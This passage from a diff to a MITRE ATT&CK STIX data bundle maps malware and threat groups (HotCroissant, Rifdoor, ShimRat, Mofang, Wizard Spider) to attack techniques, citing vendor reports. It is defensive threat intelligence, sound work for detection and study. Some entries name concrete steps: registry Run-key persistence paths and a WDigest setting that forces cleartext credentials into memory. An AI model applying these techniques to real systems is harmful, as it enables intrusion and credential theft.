to list running processes on the infected host.(Citation: Carbon Black HotCroissant April 2020)", + "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580", + "modified": "2020-05-04T19:13:35.480Z", + "source_ref": "malware--aad11e34-02ca-4220-91cd-2ed420af4db3", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2020-05-04T19:13:35.480Z", + "external_references": [ + { + "url": "https://www.carbonblack.com/2020/04/16/vmware-carbon-black-tau-threat-analysis-the-evolution-of-lazarus/", + "description": "Knight, S.. (2020, April 16). VMware Carbon Black TAU Threat Analysis: The Evolution of Lazarus. Retrieved May 1, 2020.", + "source_name": "Carbon Black HotCroissant April 2020" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--a88e956c-6c71-47e1-b02c-d4c105542690", + "description": "[HotCroissant](https://attack.mitre.org/software/S0431) has the ability to retrieve a list of services on the infected host.(Citation: Carbon Black HotCroissant April 2020)", + "target_ref": "attack-pattern--322bad5a-1c49-4d23-ab79-76d641794afa", + "modified": "2020-05-06T19:28:22.157Z", + "source_ref": "malware--aad11e34-02ca-4220-91cd-2ed420af4db3", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2020-05-04T19:13:35.486Z", + "external_references": [ + { + "url": "https://www.carbonblack.com/2020/04/16/vmware-carbon-black-tau-threat-analysis-the-evolution-of-lazarus/", + "description": "Knight, S.. (2020, April 16). VMware Carbon Black TAU Threat Analysis: The Evolution of Lazarus. Retrieved May 1, 2020.", + "source_name": "Carbon Black HotCroissant April 2020" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--1678d731-c556-4968-aab1-ae745015308f", + "description": "[HotCroissant](https://attack.mitre.org/software/S0431) has the ability to download files from the infected host to the command and control (C2) server.(Citation: Carbon Black HotCroissant April 2020)", + "target_ref": "attack-pattern--92d7da27-2d91-488e-a00c-059dc162766d", + "modified": "2020-05-04T19:13:35.491Z", + "source_ref": "malware--aad11e34-02ca-4220-91cd-2ed420af4db3", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2020-05-04T19:13:35.491Z", + "external_references": [ + { + "url": "https://www.carbonblack.com/2020/04/16/vmware-carbon-black-tau-threat-analysis-the-evolution-of-lazarus/", + "description": "Knight, S.. (2020, April 16). VMware Carbon Black TAU Threat Analysis: The Evolution of Lazarus. Retrieved May 1, 2020.", + "source_name": "Carbon Black HotCroissant April 2020" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--ee1b1aee-a635-4008-813d-fab125f0b0a5", + "description": "[HotCroissant](https://attack.mitre.org/software/S0431) has the ability to do real time screen viewing on an infected host.(Citation: Carbon Black HotCroissant April 2020)", + "target_ref": "attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688", + "modified": "2020-05-04T19:13:35.497Z", + "source_ref": "malware--aad11e34-02ca-4220-91cd-2ed420af4db3", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2020-05-04T19:13:35.497Z", + "external_references": [ + { + "url": "https://www.carbonblack.com/2020/04/16/vmware-carbon-black-tau-threat-analysis-the-evolution-of-lazarus/", + "description": "Knight, S.. (2020, April 16). VMware Carbon Black TAU Threat Analysis: The Evolution of Lazarus. Retrieved May 1, 2020.", + "source_name": "Carbon Black HotCroissant April 2020" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--fbc96b86-2c57-40b6-89f7-d7a755275a45", + "description": "[HotCroissant](https://attack.mitre.org/software/S0431) has the ability to hide the window for operations performed on a given file.(Citation: Carbon Black HotCroissant April 2020)", + "target_ref": "attack-pattern--cbb66055-0325-4111-aca0-40547b6ad5b0", + "modified": "2020-05-04T19:13:35.499Z", + "source_ref": "malware--aad11e34-02ca-4220-91cd-2ed420af4db3", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2020-05-04T19:13:35.499Z", + "external_references": [ + { + "url": "https://www.carbonblack.com/2020/04/16/vmware-carbon-black-tau-threat-analysis-the-evolution-of-lazarus/", + "description": "Knight, S.. (2020, April 16). VMware Carbon Black TAU Threat Analysis: The Evolution of Lazarus. Retrieved May 1, 2020.", + "source_name": "Carbon Black HotCroissant April 2020" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--911d7f27-a32e-45fb-a66b-e7b195023c43", + "description": "[HotCroissant](https://attack.mitre.org/software/S0431) has the ability to retrieve a list of files in a given directory as well as drives and drive types.(Citation: Carbon Black HotCroissant April 2020)", + "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18", + "modified": "2020-05-04T19:13:35.503Z", + "source_ref": "malware--aad11e34-02ca-4220-91cd-2ed420af4db3", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2020-05-04T19:13:35.503Z", + "external_references": [ + { + "url": "https://www.carbonblack.com/2020/04/16/vmware-carbon-black-tau-threat-analysis-the-evolution-of-lazarus/", + "description": "Knight, S.. (2020, April 16). VMware Carbon Black TAU Threat Analysis: The Evolution of Lazarus. Retrieved May 1, 2020.", + "source_name": "Carbon Black HotCroissant April 2020" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--c0f13745-074b-46ba-ae7a-03385ef79d31", + "description": "[HotCroissant](https://attack.mitre.org/software/S0431) has the ability to collect the username on the infected host.(Citation: Carbon Black HotCroissant April 2020)", + "target_ref": "attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104", + "modified": "2020-05-04T19:13:35.506Z", + "source_ref": "malware--aad11e34-02ca-4220-91cd-2ed420af4db3", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2020-05-04T19:13:35.506Z", + "external_references": [ + { + "url": "https://www.carbonblack.com/2020/04/16/vmware-carbon-black-tau-threat-analysis-the-evolution-of-lazarus/", + "description": "Knight, S.. (2020, April 16). VMware Carbon Black TAU Threat Analysis: The Evolution of Lazarus. Retrieved May 1, 2020.", + "source_name": "Carbon Black HotCroissant April 2020" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--52d12577-199c-41a6-92d6-28d26c023aea", + "description": "[Rifdoor](https://attack.mitre.org/software/S0433) has created a new registry entry at HKEY_CURRENT_USERS\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\Graphics with a value of C:\\ProgramData\\Initech\\Initech.exe /run.(Citation: Carbon Black HotCroissant April 2020)", + "target_ref": "attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279", + "modified": "2020-05-05T21:17:34.539Z", + "source_ref": "malware--44c75271-0e4d-496f-ae0a-a6d883a42a65", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2020-05-05T15:26:30.431Z", + "external_references": [ + { + "url": "https://www.carbonblack.com/2020/04/16/vmware-carbon-black-tau-threat-analysis-the-evolution-of-lazarus/", + "description": "Knight, S.. (2020, April 16). VMware Carbon Black TAU Threat Analysis: The Evolution of Lazarus. Retrieved May 1, 2020.", + "source_name": "Carbon Black HotCroissant April 2020" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--23b5fd51-bb47-4811-8a38-c768c8fa6b0e", + "description": "[Rifdoor](https://attack.mitre.org/software/S0433) has added four additional bytes of data upon launching, then saved the changed version as C:\\ProgramData\\Initech\\Initech.exe.(Citation: Carbon Black HotCroissant April 2020)", + "target_ref": "attack-pattern--5bfccc3f-2326-4112-86cc-c1ece9d8a2b5", + "modified": "2020-05-05T21:17:34.608Z", + "source_ref": "malware--44c75271-0e4d-496f-ae0a-a6d883a42a65", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2020-05-05T15:26:30.438Z", + "external_references": [ + { + "url": "https://www.carbonblack.com/2020/04/16/vmware-carbon-black-tau-threat-analysis-the-evolution-of-lazarus/", + "description": "Knight, S.. (2020, April 16). VMware Carbon Black TAU Threat Analysis: The Evolution of Lazarus. Retrieved May 1, 2020.", + "source_name": "Carbon Black HotCroissant April 2020" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--b76d4437-7d55-4369-b262-eb4ca52d6059", + "description": "[Rifdoor](https://attack.mitre.org/software/S0433) has been executed from malicious Excel or Word documents containing macros.(Citation: Carbon Black HotCroissant April 2020)", + "target_ref": "attack-pattern--232b7f21-adf9-4b42-b936-b9d6f7df856e", + "modified": "2020-05-05T15:26:30.455Z", + "source_ref": "malware--44c75271-0e4d-496f-ae0a-a6d883a42a65", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2020-05-05T15:26:30.455Z", + "external_references": [ + { + "url": "https://www.carbonblack.com/2020/04/16/vmware-carbon-black-tau-threat-analysis-the-evolution-of-lazarus/", + "description": "Knight, S.. (2020, April 16). VMware Carbon Black TAU Threat Analysis: The Evolution of Lazarus. Retrieved May 1, 2020.", + "source_name": "Carbon Black HotCroissant April 2020" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--7d93f85e-52a1-4771-8378-0fabfd707ece", + "description": "[Rifdoor](https://attack.mitre.org/software/S0433) has been distributed in e-mails with malicious Excel or Word documents.(Citation: Carbon Black HotCroissant April 2020)", + "target_ref": "attack-pattern--2e34237d-8574-43f6-aace-ae2915de8597", + "modified": "2020-05-05T15:26:30.458Z", + "source_ref": "malware--44c75271-0e4d-496f-ae0a-a6d883a42a65", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2020-05-05T15:26:30.458Z", + "external_references": [ + { + "url": "https://www.carbonblack.com/2020/04/16/vmware-carbon-black-tau-threat-analysis-the-evolution-of-lazarus/", + "description": "Knight, S.. (2020, April 16). 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The \u201cHikit\u201d Rootkit: Advanced and Persistent Attack Techniques (Part 1). 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(Citation: FireEye MESSAGETAP October 2019)", + "target_ref": "attack-pattern--3257eb21-f9a7-4430-8de1-d8b6e288f529", + "modified": "2020-06-24T01:43:11.274Z", + "source_ref": "malware--9b19d6b4-cfcb-492f-8ca8-8449e7331573", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2020-05-11T22:12:28.674Z", + "external_references": [ + { + "url": "https://www.fireeye.com/blog/threat-research/2019/10/messagetap-who-is-reading-your-text-messages.html", + "description": "Leong, R., Perez, D., Dean, T. (2019, October 31). MESSAGETAP: Who\u2019s Reading Your Text Messages?. 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Retrieved May 12, 2020.", + "source_name": "CrowdStrike Grim Spider May 2019" + }, + { + "url": "https://www.fireeye.com/blog/threat-research/2020/10/kegtap-and-singlemalt-with-a-ransomware-chaser.html", + "description": "Kimberly Goody, Jeremy Kennelly, Joshua Shilko, Steve Elovitz, Douglas Bienstock. (2020, October 28). Unhappy Hour Special: KEGTAP and SINGLEMALT With a Ransomware Chaser. Retrieved October 28, 2020.", + "source_name": "FireEye KEGTAP SINGLEMALT October 2020" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--02e03773-7cea-4b40-bf96-f22ccbc7187f", + "description": "(Citation: CrowdStrike Grim Spider May 2019)(Citation: DHS/CISA Ransomware Targeting Healthcare October 2020)(Citation: Sophos New Ryuk Attack October 2020)(Citation: CrowdStrike Wizard Spider October 2020)", + "target_ref": "malware--00806466-754d-44ea-ad6f-0caf59cb8556", + "modified": "2021-06-15T14:10:00.779Z", + "source_ref": "intrusion-set--dd2d9ca6-505b-4860-a604-233685b802c7", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2020-05-12T18:25:44.515Z", + "external_references": [ + { + "url": "https://www.crowdstrike.com/blog/timelining-grim-spiders-big-game-hunting-tactics/", + "description": "John, E. and Carvey, H. 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Retrieved June 15, 2021.", + "source_name": "CrowdStrike Wizard Spider October 2020" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--d73c0fd6-cbd9-4eaa-abca-a1626364ab1b", + "description": "(Citation: CrowdStrike Grim Spider May 2019)(Citation: DHS/CISA Ransomware Targeting Healthcare October 2020)(Citation: FireEye KEGTAP SINGLEMALT October 2020)", + "target_ref": "tool--3433a9e8-1c47-4320-b9bf-ed449061d1c3", + "modified": "2020-11-10T18:04:03.787Z", + "source_ref": "intrusion-set--dd2d9ca6-505b-4860-a604-233685b802c7", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2020-05-12T18:25:44.530Z", + "external_references": [ + { + "url": "https://www.crowdstrike.com/blog/timelining-grim-spiders-big-game-hunting-tactics/", + "description": "John, E. and Carvey, H. (2019, May 30). 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Retrieved May 12, 2020.", + "source_name": "CrowdStrike Grim Spider May 2019" + }, + { + "url": "https://news.sophos.com/en-us/2020/10/14/inside-a-new-ryuk-ransomware-attack/", + "description": "Sean Gallagher, Peter Mackenzie, Elida Leite, Syed Shahram, Bill Kearney, Anand Aijan, Sivagnanam Gn, Suraj Mundalik. (2020, October 14). They\u2019re back: inside a new Ryuk ransomware attack. Retrieved October 14, 2020.", + "source_name": "Sophos New Ryuk Attack October 2020" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--c671056c-f213-4084-9e9e-3361274ceb80", + "description": "[Wizard Spider](https://attack.mitre.org/groups/G0102) has used spearphishing attachments to deliver Microsoft documents containing macros or PDFs containing malicious links to download either [Emotet](https://attack.mitre.org/software/S0367), Bokbot, [TrickBot](https://attack.mitre.org/software/S0266), or [Bazar](https://attack.mitre.org/software/S0534).(Citation: CrowdStrike Grim Spider May 2019)(Citation: Red Canary Hospital Thwarted Ryuk October 2020)", + "target_ref": "attack-pattern--2e34237d-8574-43f6-aace-ae2915de8597", + "modified": "2021-06-21T20:37:17.697Z", + "source_ref": "intrusion-set--dd2d9ca6-505b-4860-a604-233685b802c7", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2020-05-12T18:42:01.854Z", + "external_references": [ + { + "url": "https://www.crowdstrike.com/blog/timelining-grim-spiders-big-game-hunting-tactics/", + "description": "John, E. and Carvey, H. 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Retrieved May 12, 2020.", + "source_name": "FOX-IT May 2016 Mofang" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--6435caf7-2493-4cfb-9ddc-2f672c220251", + "description": "[ShimRat](https://attack.mitre.org/software/S0444) has installed a registry based start-up key HKCU\\Software\\microsoft\\windows\\CurrentVersion\\Run to maintain persistence should other methods fail.(Citation: FOX-IT May 2016 Mofang)", + "target_ref": "attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279", + "modified": "2020-05-27T23:28:38.270Z", + "source_ref": "malware--5763217a-05b6-4edd-9bca-057e47b5e403", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2020-05-12T21:56:33.051Z", + "external_references": [ + { + "url": "https://foxitsecurity.files.wordpress.com/2016/06/fox-it_mofang_threatreport_tlp-white.pdf", + "description": "Yonathan Klijnsma. (2016, May 17). Mofang: A politically motivated information stealing adversary. Retrieved May 12, 2020.", + "source_name": "FOX-IT May 2016 Mofang" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--80a14bfe-6bf6-4f87-8ae1-5085505656f2", + "description": "[ShimRat](https://attack.mitre.org/software/S0444) communicated over HTTP and HTTPS with C2 servers.(Citation: FOX-IT May 2016 Mofang)", + "target_ref": "attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161", + "modified": "2020-05-12T21:56:33.057Z", + "source_ref": "malware--5763217a-05b6-4edd-9bca-057e47b5e403", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2020-05-12T21:56:33.057Z", + "external_references": [ + { + "url": "https://foxitsecurity.files.wordpress.com/2016/06/fox-it_mofang_threatreport_tlp-white.pdf", + "description": "Yonathan Klijnsma. (2016, May 17). Mofang: A politically motivated information stealing adversary. Retrieved May 12, 2020.", + "source_name": "FOX-IT May 2016 Mofang" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--8ba71919-c776-4e1b-ad71-160649060d3e", + "description": "[Mofang](https://attack.mitre.org/groups/G0103) has compressed the [ShimRat](https://attack.mitre.org/software/S0444) executable within malicious email attachments. [Mofang](https://attack.mitre.org/groups/G0103) has also encrypted payloads before they are downloaded to victims.(Citation: FOX-IT May 2016 Mofang)", + "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", + "modified": "2020-05-15T18:20:15.802Z", + "source_ref": "intrusion-set--88489675-d216-4884-a98f-49a89fcc1643", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2020-05-12T22:05:50.738Z", + "external_references": [ + { + "url": "https://foxitsecurity.files.wordpress.com/2016/06/fox-it_mofang_threatreport_tlp-white.pdf", + "description": "Yonathan Klijnsma. (2016, May 17). Mofang: A politically motivated information stealing adversary. Retrieved May 12, 2020.", + "source_name": "FOX-IT May 2016 Mofang" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--b91c4f2d-8f21-46e9-a012-967436018eea", + "description": "[Mofang](https://attack.mitre.org/groups/G0103)'s malicious spearphishing attachments required a user to open the file after receiving.(Citation: FOX-IT May 2016 Mofang)", + "target_ref": "attack-pattern--232b7f21-adf9-4b42-b936-b9d6f7df856e", + "modified": "2020-05-12T22:05:50.740Z", + "source_ref": "intrusion-set--88489675-d216-4884-a98f-49a89fcc1643", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2020-05-12T22:05:50.740Z", + "external_references": [ + { + "url": "https://foxitsecurity.files.wordpress.com/2016/06/fox-it_mofang_threatreport_tlp-white.pdf", + "description": "Yonathan Klijnsma. (2016, May 17). Mofang: A politically motivated information stealing adversary. Retrieved May 12, 2020.", + "source_name": "FOX-IT May 2016 Mofang" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--7b4af425-27a6-4330-85e2-d8d03911d923", + "description": "[Mofang](https://attack.mitre.org/groups/G0103) delivered spearphishing emails with malicious documents, PDFs, or Excel files attached.(Citation: FOX-IT May 2016 Mofang)", + "target_ref": "attack-pattern--2e34237d-8574-43f6-aace-ae2915de8597", + "modified": "2020-05-12T22:05:50.745Z", + "source_ref": "intrusion-set--88489675-d216-4884-a98f-49a89fcc1643", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2020-05-12T22:05:50.745Z", + "external_references": [ + { + "url": "https://foxitsecurity.files.wordpress.com/2016/06/fox-it_mofang_threatreport_tlp-white.pdf", + "description": "Yonathan Klijnsma. (2016, May 17). Mofang: A politically motivated information stealing adversary. Retrieved May 12, 2020.", + "source_name": "FOX-IT May 2016 Mofang" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--78a49769-fec0-4961-a25d-fc5eab623e93", + "description": "[Mofang](https://attack.mitre.org/groups/G0103)'s spearphishing emails required a user to click the link to connect to a compromised website.(Citation: FOX-IT May 2016 Mofang)", + "target_ref": "attack-pattern--ef67e13e-5598-4adc-bdb2-998225874fa9", + "modified": "2020-05-12T22:05:50.747Z", + "source_ref": "intrusion-set--88489675-d216-4884-a98f-49a89fcc1643", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2020-05-12T22:05:50.747Z", + "external_references": [ + { + "url": "https://foxitsecurity.files.wordpress.com/2016/06/fox-it_mofang_threatreport_tlp-white.pdf", + "description": "Yonathan Klijnsma. (2016, May 17). Mofang: A politically motivated information stealing adversary. Retrieved May 12, 2020.", + "source_name": "FOX-IT May 2016 Mofang" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--0f29f072-1eb1-4711-8679-19580f16b351", + "description": "[Mofang](https://attack.mitre.org/groups/G0103) delivered spearphishing emails with malicious links included.(Citation: FOX-IT May 2016 Mofang)", + "target_ref": "attack-pattern--2b742742-28c3-4e1b-bab7-8350d6300fa7", + "modified": "2020-05-12T22:05:50.811Z", + "source_ref": "intrusion-set--88489675-d216-4884-a98f-49a89fcc1643", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2020-05-12T22:05:50.811Z", + "external_references": [ + { + "url": "https://foxitsecurity.files.wordpress.com/2016/06/fox-it_mofang_threatreport_tlp-white.pdf", + "description": "Yonathan Klijnsma. (2016, May 17). Mofang: A politically motivated information stealing adversary. Retrieved May 12, 2020.", + "source_name": "FOX-IT May 2016 Mofang" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--69aa300b-3e31-438c-99bf-4822141046c5", + "target_ref": "tool--115f88dd-0618-4389-83cb-98d33ae81848", + "modified": "2020-05-15T15:36:36.960Z", + "source_ref": "intrusion-set--88489675-d216-4884-a98f-49a89fcc1643", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2020-05-12T22:05:50.826Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--6f82d8a7-d168-4e19-97d2-3950f0c649ce", + "target_ref": "malware--5763217a-05b6-4edd-9bca-057e47b5e403", + "modified": "2020-05-15T15:36:36.961Z", + "source_ref": "intrusion-set--88489675-d216-4884-a98f-49a89fcc1643", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2020-05-12T22:05:50.828Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--aa12e2a6-02e7-4001-af7b-6a60021ddbfd", + "description": "[MESSAGETAP](https://attack.mitre.org/software/S0443) stored targeted SMS messages that matched its target list in CSV files on the compromised system.(Citation: FireEye MESSAGETAP October 2019)", + "target_ref": "attack-pattern--1c34f7aa-9341-4a48-bfab-af22e51aca6c", + "modified": "2020-06-24T01:43:11.352Z", + "source_ref": "malware--9b19d6b4-cfcb-492f-8ca8-8449e7331573", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2020-05-12T22:21:54.139Z", + "external_references": [ + { + "url": "https://www.fireeye.com/blog/threat-research/2019/10/messagetap-who-is-reading-your-text-messages.html", + "description": "Leong, R., Perez, D., Dean, T. (2019, October 31). MESSAGETAP: Who\u2019s Reading Your Text Messages?. Retrieved May 11, 2020.", + "source_name": "FireEye MESSAGETAP October 2019" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--3c9c3d3d-a209-43dc-ae8d-53cd4c1de65c", + "description": "[Inception](https://attack.mitre.org/groups/G0100) has enumerated installed software on compromised systems.(Citation: Symantec Inception Framework March 2018)", + "target_ref": "attack-pattern--e3b6daca-e963-4a69-aee6-ed4fd653ad58", + "modified": "2020-05-12T22:22:08.596Z", + "source_ref": "intrusion-set--ead23196-d7b6-4ce6-a124-4ab4b67d81bd", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2020-05-12T22:22:08.596Z", + "external_references": [ + { + "url": "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/inception-framework-hiding-behind-proxies", + "description": "Symantec. (2018, March 14). Inception Framework: Alive and Well, and Hiding Behind Proxies. Retrieved May 8, 2020.", + "source_name": "Symantec Inception Framework March 2018" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--75f0ea4c-5b88-4b14-9859-67379f4ba9b0", + "description": "[Wizard Spider](https://attack.mitre.org/groups/G0102) has modified the Registry key HKLM\\System\\CurrentControlSet\\Control\\SecurityProviders\\WDigest by setting the UseLogonCredential registry value to 1 in order to force credentials to be stored in clear text in memory.(Citation: CrowdStrike Grim Spider May 2019)", + "target_ref": "attack-pattern--57340c81-c025-4189-8fa0-fc7ede51bae4", + "modified": "2020-05-13T12:42:06.757Z", + "source_ref": "intrusion-set--dd2d9ca6-505b-4860-a604-233685b802c7", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2020-05-13T12:42:06.757Z", + "external_references": [ + { + "url": "https://www.crowdstrike.com/blog/timelining-grim-spiders-big-game-hunting-tactics/", + "description": "John, E. and Carvey, H. (2019, May 30). Unraveling the Spiderweb: Timelining ATT&CK Artifacts Used by GRIM SPIDER. Retrieved May 12, 2020.", + "source_name": "CrowdStrike Grim Spider May 2019" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--53e1bf2f-7ab4-4173-879b-9975618c4527", + "description": "[Wizard Spider](https://attack.mitre.org/groups/G0102) has lured victims to execute malware with spearphishing attachments containing macros to download either [Emotet](https://attack.mitre.org/software/S0367), Bokbot, [TrickBot](https://attack.mitre.org/software/S0266), or [Bazar](https://attack.mitre.org/software/S0534).(Citation: CrowdStrike Grim Spider May 2019)(Citation: CrowdStrike Wizard Spider October 2020)", + "target_ref": "attack-pattern--232b7f21-adf9-4b42-b936-b9d6f7df856e", + "modified": "2021-06-21T20:37:17.756Z", + "source_ref": "intrusion-set--dd2d9ca6-505b-4860-a604-233685b802c7", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2020-05-13T12:42:06.786Z", + "external_references": [ + { + "url": "https://www.crowdstrike.com/blog/timelining-grim-spiders-big-game-hunting-tactics/", + "description": "John, E. and Carvey, H. (2019, May 30). Unraveling the Spiderweb: Timelining ATT&CK Artifacts Used by GRIM SPIDER. Retrieved May 12, 2020.", + "source_name": "CrowdStrike Grim Spider May 2019" + }, + { + "url": "https://www.crowdstrike.com/blog/wizard-spider-adversary-update/", + "description": "Podlosky, A., Hanel, A. et al. (2020, October 16). WIZARD SPIDER Update: Resilient, Reactive and Resolute. Retrieved June 15, 2021.", + "source_name": "CrowdStrike Wizard Spider October 2020" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--7e555910-0e1b-403d-a369-e7a2e8e61670", + "description": "[Wizard Spider](https://attack.mitre.org/groups/G0102) has used scheduled tasks to install [TrickBot](https://attack.mitre.org/software/S0266), using task names to appear legitimate such as WinDotNet, GoogleTask, or Sysnetsf.(Citation: CrowdStrike Grim Spider May 2019) It has also used common document file names for other malware binaries.(Citation: FireEye KEGTAP SINGLEMALT October 2020)", + "target_ref": "attack-pattern--7bdca9d5-d500-4d7d-8c52-5fd47baf4c0c", + "modified": "2020-11-10T17:28:19.629Z", + "source_ref": "intrusion-set--dd2d9ca6-505b-4860-a604-233685b802c7", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2020-05-13T13:20:59.322Z", + "external_references": [ + { + "url": "https://www.crowdstrike.com/blog/timelining-grim-spiders-big-game-hunting-tactics/", + "description": "John, E. and Carvey, H. (2019, May 30). Unraveling the Spiderweb: Timelining 